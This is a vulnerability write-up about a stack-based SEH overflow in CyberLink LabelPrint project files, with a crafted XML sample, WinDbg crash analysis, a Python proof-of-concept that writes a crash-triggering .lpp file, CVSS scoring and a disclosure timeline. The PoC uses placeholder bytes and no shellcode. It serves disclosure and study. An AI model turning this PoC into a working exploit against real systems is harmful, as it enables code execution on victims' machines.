CyberLink LabelPrint: Buffer Overflow

CyberLink LabelPrint: Buffer Overflow

It’s been a while since our last post about exploitation. This time, we try to explain a stack-based overflow on Cyberlink LabelPrint, a tool to assist in designing labels for CD / DVD covers. It is included in the installation of Cyberlink Power2Go, PowerDVD, and Power Producer software and also pre-installed in the latest laptops by Lenovo, HP, and Asus.

Cyberlink products have a job save function with their own format and this kind of file type can only be read by related products. Project files generated by this product are usually saved in the form of an XML format. Learning from the previous finds, each tag in this file has user input, for example:

<PROJECT version="1.0.00">
    <APPLICATION step="4"/>
    <PRINTER default="Microsoft Print to PDF" x_offset="0" lightscribe_drive_index="18446744073709551615" lightscribe_drive_path="0" y_offset="0" copy="1" target_label="1" outline="0" hidetrack="0" lightscribe_print_quality="0" lightscribe_label_mode="0"/>
    <PROFILE printout="FRONT_COVER" paper="Plain paper (Letter)" layout="Cover_2Column" background="C:\Program Files (x86)\CyberLink\LabelPrint\backgrounds\FrontBooklet_circle.jpg" stretch="STRETCH"/>
    <FONT>
        <TITLE point_size="0" bold="TRUE" italic="FALSE" underline="FALSE" strikeout="FALSE" shadow="TRUE" color="#000000" face="Microsoft Sans Serif" font_height="20" alignment="6" face_enabled="TRUE" border_enabled="FALSE" shadow_color="#000000" border_color="#000000"/>
        <CONTENT point_size="0" bold="FALSE" italic="FALSE" underline="FALSE" strikeout="FALSE" shadow="FALSE" color="#000000" face="" font_height="0" alignment="0" face_enabled="FALSE" border_enabled="FALSE" shadow_color="#000000" border_color="#000000"/>
    </FONT>
    <INFORMATION title="Test Title" author="Test Author" date="8/5/2017" SystemTime="05/08/2017">
        <TRACK name="Track 1" artist="Various Artist" length="03:45"/>
    </INFORMATION>
    <LAYOUT version="1.0">
        <CONTENT loading="BALANCED" break="BY_ROW" row_spacing="0">
            <FIELD type="NUMBER" width="600" right_spacing="300" fixed_width="true"/>
            <FIELD type="SONG" width="4000" right_spacing="0" fixed_width="true"/>
            <TEXT angle="0" default="" curving="STRAIGHT"/>
            <MARGIN left="0" top="0" right="0" bottom="0" line_spacing="40"/>
            <BOUNDARY hole="IGNORE" edge="IGNORE"/>
            <BOUNDBOX left="700" top="3304" width="4800" height="568" z_order="0" align="LEFT" valign="TOP"/>
            <FONT point_size="0" bold="false" italic="true" underline="false" strikeout="false" shadow="false" face="Microsoft Sans Serif" color="0x000000" font_height="8" alignment="6" face_enabled="true" border_enabled="false" shadow_color="0x000000" border_color="0x000000"/>
            <BOUNDBOX left="6300" top="3304" width="1" height="1" z_order="1" align="LEFT" valign="TOP"/>
            <FONT point_size="0" bold="false" italic="true" underline="false" strikeout="false" shadow="false" face="Microsoft Sans Serif" color="0x000000" font_height="8" alignment="6" face_enabled="true" border_enabled="false" shadow_color="0x000000" border_color="0x000000"/>
        </CONTENT>
<CAPTION type="TITLE">
            <BOUNDBOX left="1600" top="1300" width="8200" height="1200" z_order="2" align="" valign="CENTER"/>
            <FONT point_size="0" bold="true" italic="false" underline="false" strikeout="false" shadow="true" face="Microsoft Sans Serif" color="0x000000" font_height="20" alignment="6" face_enabled="true" border_enabled="false" shadow_color="0x000000" border_color="0x000000"/>
            <TEXT angle="0" default="Test Title" curving="STRAIGHT"/>
            <MARGIN left="0" top="0" right="0" bottom="0" line_spacing="100"/>
            <BOUNDARY hole="IGNORE" edge="IGNORE"/>
        </CAPTION>
 
    </LAYOUT>
</PROJECT>

 

The Crash

We notice that the INFORMATION tag above (line 9,10,11) contains user’s input and has name parameter. If we change the name value inside the INFORMATION tag with a long string like this:

<INFORMATION title="Test Title" author="Test Author" date="8/5/2017" SystemTime="05/08/2017">
 <TRACK name="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" artist="Various Artist" length="03:45"/>
 </INFORMATION>

And then save it as a new file (mine is test.lpp). Load it the modified project file with Cyberlink LabelPrint, we got this:

2017-09-19_16-20-57

The program crashed.

In order to examine this, I already set up procdump to dump the crash and make us easier to examine the crash. You can set up the procdump using this command:

C:\sysinternalsuite\procdump -ma -i C:\crashdump

(Note: you need to create the folder C:\crashdump first.)

Examine the Crash using Windbg

We load the dump file using Windbg and examine further.

This dump file has an exception of interest stored in it. The stored exception
information can be accessed via .ecxr. (140.3b4): Access violation - code
c0000005 (first/second chance not available) eax=00000000 ebx=00000000
ecx=00190000 edx=06aa3f5c esi=00000000 edi=07670000 eip=77aeceec esp=0018d6b0
ebp=0018db10 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b
fs=0053 gs=002b efl=00200212 ntdll!NtWaitForMultipleObjects+0xc: 77aeceec c21400
ret 14h

Debugger catch the exception at this module ntdll!ZwWaitForMultipleObjects+0xc but we need to see what really happened. Since this is an exception, we can go directly to examine the Structure Exception Handler (SEH)

0:000> !exchain
0018db00: ntdll!_except_handler4+0 (77b4d6a0)
 CRT scope 0, func: ntdll!RtlReportExceptionEx+438 (77b6bfdf)
0018e0f8: *** ERROR: Module load completed but symbols could not be loaded for LabelPrint.exe
LabelPrint+8b218 (0048b218)
0018ee3c: LabelPrint+10041 (00410041)
Invalid exception stack at 00410041

In the !exchain command result above, we can see that the exception handler was overwritten with our supplied input (AAAAA…AA, note that A is 41 in hex). This indicates that the stack was overflowed as well. And then, we notice this:

Invalid exception stack at 00410041

Our supplied input (AAAAA..AA) is transformed to 00410041 (00A00A). So, base on this info, we can conclude:

  • This is stack based overflow condition
  • The SEH is overwritten, so the approach of our code execution will be SEH based approach
  • Our supplied input is transformed to 00410041, so the exploit development must use the unicode jutsu technique in order to accomplish this.

After further research, these parameters are also affected:

  • author (inside the INFORMATION tag)
  • artist (inside the TRACK tag)
  • default (inside the TEXT tag)

Proof of Concept

Below is the proof of concept script that we use to build the exploit, have fun!

#!/usr/bin/python
#
# Tested on Windows 7 SP1 (x86,x64)
# Tested on Windows 8.1 (x86,x64)
# Tested on Windows 10 Pro version 1703 (x86,x64)
#
 
header = ("\x3c\x50\x52\x4f\x4a\x45\x43\x54\x20\x76\x65\x72\x73\x69\x6f\x6e"
"\x3d\x22\x31\x2e\x30\x2e\x30\x30\x22\x3e\x0a\x09\x3c\x49\x4e\x46"
"\x4f\x52\x4d\x41\x54\x49\x4f\x4e\x20\x74\x69\x74\x6c\x65\x3d\x22"
"\x22\x20\x61\x75\x74\x68\x6f\x72\x3d\x22\x22\x20\x64\x61\x74\x65"
"\x3d\x22\x37\x2f\x32\x34\x2f\x32\x30\x31\x37\x22\x20\x53\x79\x73"
"\x74\x65\x6d\x54\x69\x6d\x65\x3d\x22\x32\x34\x2f\x30\x37\x2f\x32"
"\x30\x31\x37\x22\x3e")
 
filename = "fuzz.lpp"
f = open(filename,'w')
junk = "A" * 790
nseh = "\x42\x42"
seh = "\x43\x43"
sisa =  "\x44" * (5000-len(junk+nseh+seh))
payload = junk+nseh+seh+sisa
bug="\x09\x09\x3c\x54\x52\x41\x43\x4b\x20\x6e\x61\x6d\x65\x3d"+'"'+payload+'"'+"/>\n"
bug+=("\x09\x3c\x2f\x49\x4e\x46\x4f\x52\x4d\x41\x54\x49\x4f\x4e\x3e\x0a"
"\x3c\x2f\x50\x52\x4f\x4a\x45\x43\x54\x3e")
f.write(header+ "\n" + bug)
print "<--CyberLink LabelPrint <=2.5 Stack Overflow POC-->"
print "[*] by f3ci & modpr0be <research[at]spentera.id>"
print "[*] <--------------------------------------------->\n"
print "[+] File", filename, "successfully created!"
print "[*] Now open project file", filename2, "with CyberLink LabelPrint."
print "[*] Good luck ;)"
f.close()

 

2017-09-19_16-13-00

Impact (CVSSv3)

CVSS Severity (version 3.0):

CVSS v3 Base Score: 7.7 High
Vector: CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H (legend)
Impact Score: 6.0
Exploitability Score: 1.0

CVSS Version 3 Metrics:

Attack Vector (AV): Local
Attack Complexity (AC): High
Privileges Required (PR): None
User Interaction (UI): Required
Scope (S): Changed
Confidentiality (C): High
Integrity (I): High
Availability (A): High

Based on Common Vulnerabilty Scoring System (CVSS) version 3 calculator provided by National Vulnerability Database (NVD)

Aftermath

We contacted Cyberlink support and they believe this is not an issue on their product function. Well.. anyway, here is the log:

July 31, 2017 Initial contact with CyberLink support
August 01, 2017 Vulnerability acknowledged and forwarded to engineer team for further analysis and investigation
August 05, 2017 Notify CERT/CC for the vulnerability.
August 20, 2017 Convincing the engineer team that the vulnerability will affect the operating system. Proof of concept sent for further investigation.
August 31, 2017 CyberLink team told that will include the fixing in the next product release, but the date will be kept confidential.

References

https://www.exploit-db.com/exploits/42777/